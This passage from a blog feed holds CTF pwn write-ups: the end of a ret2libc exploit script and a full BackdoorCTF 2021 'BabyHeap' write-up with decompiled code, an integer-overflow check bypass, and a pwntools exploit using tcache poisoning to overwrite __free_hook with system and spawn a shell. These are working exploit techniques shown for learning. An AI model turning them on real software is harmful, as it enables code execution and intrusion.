<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">))</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span>
<span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"login: "</span><span class="p">,</span><span class="n">user</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"password: "</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"-1"</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">24</span> <span class="o">+</span> <span class="n">rdi</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>  <span class="o">+</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>
<span class="c1">#gdb.attach(p)
</span><span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>for any clarification m on discord : <code class="language-plaintext highlighter-rouge">Retr0#7958</code>.</p>]]></content><author><name>Badreddine Chamkhi</name><email>chamkhi.badreddine@esprit.tn</email></author><category term="pwn" /><category term="Buffer Overflow" /><category term="libc-2.31" /><category term="ret2libc" /><summary type="html"><![CDATA[This is a pwn challenge from root-me 10k CTF . Difficulty should be easy once we visualise our exploit flow.]]></summary></entry><entry><title type="html">Pwn Babyheap Backdoorctf2021</title><link href="http://localhost:4000/pwn-BabyHeap-BackdoorCTF2021/" rel="alternate" type="text/html" title="Pwn Babyheap Backdoorctf2021" /><published>2022-01-01T00:00:00+01:00</published><updated>2022-01-01T00:00:00+01:00</updated><id>http://localhost:4000/pwn-BabyHeap-BackdoorCTF2021</id><content type="html" xml:base="http://localhost:4000/pwn-BabyHeap-BackdoorCTF2021/"><![CDATA[<h1 id="backdoorctf-2021">BackdoorCTF 2021</h1>
<p>pwn, 500.</p>

<p>I didn’t manage to solve this challenge during the ctf , but i kept trying until i finished it so this is a little writeup so i can share what i learnt and for keeping it as a resource for me for next challs.</p>
<h2 id="description">Description</h2>
<blockquote>
  <p>A classic heap exploitation challenge but with a plot twist.</p>
</blockquote>

<h1 id="analysis">Analysis</h1>
<p>let’s start by reversing the four main functions.</p>

<p><strong>All reversing was made in IDA PRO 7.5</strong></p>

<h4 id="create-function">Create Function</h4>
<pre><code class="language-C">unsigned __int64 main_allocate()
{
  unsigned int number_of_chunks; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int choice; // [rsp+10h] [rbp-10h] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("How many chunks do you wanna allocate: ");
  number_of_chunks = 0;
  __isoc99_scanf("%u", &amp;number_of_chunks);
  puts("Select the size: ");
  men_for_chunk_sizes();
  choice = 0;
  __isoc99_scanf("%d", &amp;choice);
  for ( i = 0; i &lt; number_of_chunks; ++i )
  {
    TODO();
    counter2_and_allocation(choice);
  }
  return __readfsqword(0x28u) ^ v4;
}
</code></pre>
<p>We are Prompted to enter the number of chunks we want to allocate. Then we chose the size we want from a menu.</p>
<pre><code class="language-C">int men_for_chunk_sizes()
{
  puts("1. Large size.");
  puts("2. Medium size.");
  puts("3. Small size.");
  return printf("&gt;&gt; ");
}
</code></pre>
<p>Then we enter a loop which loops depending on how many chunks we are going to allocate
If we focus a little bit in here we can notice a strange thing happening which is we have 2 counters incrementing, We will figure out why later on.</p>

<p><strong>counter2_and_allocation()</strong></p>
<pre><code class="language-C">void __fastcall counter2_and_allocation(int a1)
{
  unsigned int index; // ebx
  int size; // [rsp+1Ch] [rbp-14h]

  if ( a1 == 3 )                                // small
  {
    size = 128;
  }
  else
  {
    if ( a1 &gt; 3 )
      return;
    if ( a1 == 1 )                              // large
    {
      size = 1040;
    }
    else
    {
      if ( a1 != 2 )                            // medium
        return;
      size = 512;
    }
  }
  if ( (unsigned int)index_counter &gt; 16 )       
    exit(0);
  index = index_counter++;
  notes[index] = malloc(size);
}
</code></pre>
<p><strong>TODO()</strong></p>
<pre><code class="language-C">__int64 TODO()
{
  return (unsigned int)++COUNTER_FROM_TODO;
}
</code></pre>

<h4 id="edit-function">Edit function</h4>
<pre><code class="language-C">__int64 edit()
{
  int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  printf("Index to edit: ");
  index = get_input();
  if ( index &lt; 0 || index &gt; 16 )
    exit(0);
  printf("Enter size: ");
  size = get_input();
  if ( size &gt; 128 )
    exit(0);
  return read_input(*((void **)&amp;notes + index), size);
}
</code></pre>
<p>Simple and clean it gets the index to edit and prompts for a size which need to not be larger than 128.</p>

<h4 id="view-function">View function</h4>
<pre><code class="language-C">int view()
{
  int index; // [rsp+Ch] [rbp-4h]

  printf("Index to view: ");
  index = get_input();
  if ( index &lt; 0 || index &gt; 16 )
    exit(0);
  return puts(*((const char **)&amp;notes + index));
}
</code></pre>
<p>As simple as edit function it gets and index and shows the content of a note.</p>

<h4 id="delete-function">Delete function</h4>
<pre><code class="language-C">unsigned __int64 delete()
{
  unsigned __int64 result; // rax

  result = (unsigned int)index_counter;
  if ( index_counter )
  {
    if ( COUNTER_FROM_TODO &gt; (unsigned int)index_counter )
    {
      fwrite("Hacking detected!!!\nExiting...\n", 1uLL, 0x1FuLL, stderr);
      exit(0);
    }
    free(*((void **)&amp;notes + (unsigned int)--index_counter));
    --COUNTER_FROM_TODO;
    result = (unsigned __int64)&amp;notes;
    *((_QWORD *)&amp;notes + (unsigned int)COUNTER_FROM_TODO) = 0LL;
  }
  return result;
}
</code></pre>
<p>now the trick comes in here . if we are able to bypass this check where we are in a condition counter1 != counter2 and counter1 &lt; counter2.</p>
<blockquote>
  <p>( COUNTER_FROM_TODO &gt; (unsigned int)index_counter )</p>
</blockquote>

<p>if we achieve that condition we can obtain a Use After Free which we can poison the forward pointer to get an arbitrary write.</p>

<p><strong>How do we achieve it ?</strong></p>

<p>Integer Oveflow attacks ! if you are not familliar with such topic u can refer to this article on CTF wiki</p>
<blockquote>
  <p>https://ctf-wiki.mahaloz.re/pwn/linux/integeroverflow/intof/</p>
</blockquote>

<p>We are done with analysis let’s move on to Exploitation</p>

<h1 id="exploit">Exploit</h1>
<p>first i am going to set some helpers so i can interact with the binary .</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"DEBUG"</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./main"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc-2.31.so"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">c</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt;&gt; '</span><span class="p">,</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">': '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">':'</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">free</span><span class="p">():</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt;&gt; '</span><span class="p">,</span><span class="s">'2'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt;&gt; '</span><span class="p">,</span><span class="s">'3'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">': '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">': '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">view</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt;&gt; '</span><span class="p">,</span><span class="s">'4'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">': '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>

  <span class="n">pause</span><span class="p">()</span>
  <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>

</code></pre></div></div>

<p><strong>NB : I PATCHED THE BINARY USING PWNINIT</strong></p>

<h4 id="first-step-we-leak-libc">First Step We Leak Libc</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="c1">#0 1 2 3 4 # We Allocate 5 chunks of large size so when freed it will contain fd and bk pointers which are main_arena addressess.
</span>    <span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="c1">#5 Consolidation Prevention
</span>    <span class="n">alloc</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">)</span> <span class="o">-</span> <span class="mi">6</span> <span class="o">+</span> <span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="c1"># Integer Overflow Attack ( to satisfy our condition about counter1 != counter2 &amp;&amp; counter1 &lt; counter2 )
</span>    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span> 
    <span class="n">free</span><span class="p">()</span>  <span class="c1"># GOES TO TCACHE BIN 
</span>    <span class="n">free</span><span class="p">()</span>  <span class="c1"># THIS IS WHERE OUR CHUNK THAT HAVE LIBC ADDR 
</span>    <span class="n">view</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span> <span class="o">-</span> <span class="mh">0x1ebbe0</span>
    <span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">'LIBC BASE =&gt; '</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">base</span><span class="p">))</span>
    <span class="n">pause</span><span class="p">()</span>
</code></pre></div></div>
<h4 id="second-step-we-do-some-calculation-to-pop-a-shell">Second Step We do some Calculation To Pop A Shell</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">system</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span> <span class="c1"># Target to execute is system("/bin/sh");
</span>    <span class="n">free_hook</span> <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">]</span> <span class="c1"># we are going to overwrite free hook with system address
</span></code></pre></div></div>

<h4 id="final-step-create-overlapping-chunks-to-perfom-tcache-poisining">Final Step Create Overlapping Chunks To Perfom Tcache Poisining</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">free</span><span class="p">()</span>
    <span class="n">free</span><span class="p">()</span>
    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">free_hook</span><span class="p">))</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>
<p>Now free hook is succesfully overwritten with system address 
we allocated a chunk and we put our string /bin/sh in it 
now trigger the shell we just free the last chunk which contains our string so instead of free(note[9]) it just goes like system(note[9]) which is system(“/bin/sh\x00”);</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">free</span><span class="p">()</span>
</code></pre></div></div>
<p>Executing The exploit and sending <strong>cat flag.txt</strong> We Get</p>
<blockquote>
  <p>retr0{FAKE_FUCKING_FLAG}</p>
</blockquote>

<p>I hope i made everything clear .</p>

<p>Thanks ! .</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>References :
https://ctf-wiki.mahaloz.re/pwn/linux/integeroverflow/intof/
https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/
</code></pre></div></div>]]></content><author><name>Badreddine Chamkhi</name><email>chamkhi.badreddine@esprit.tn</email></author><summary type="html"><![CDATA[BackdoorCTF 2021 pwn, 500.]]></summary></entry></feed>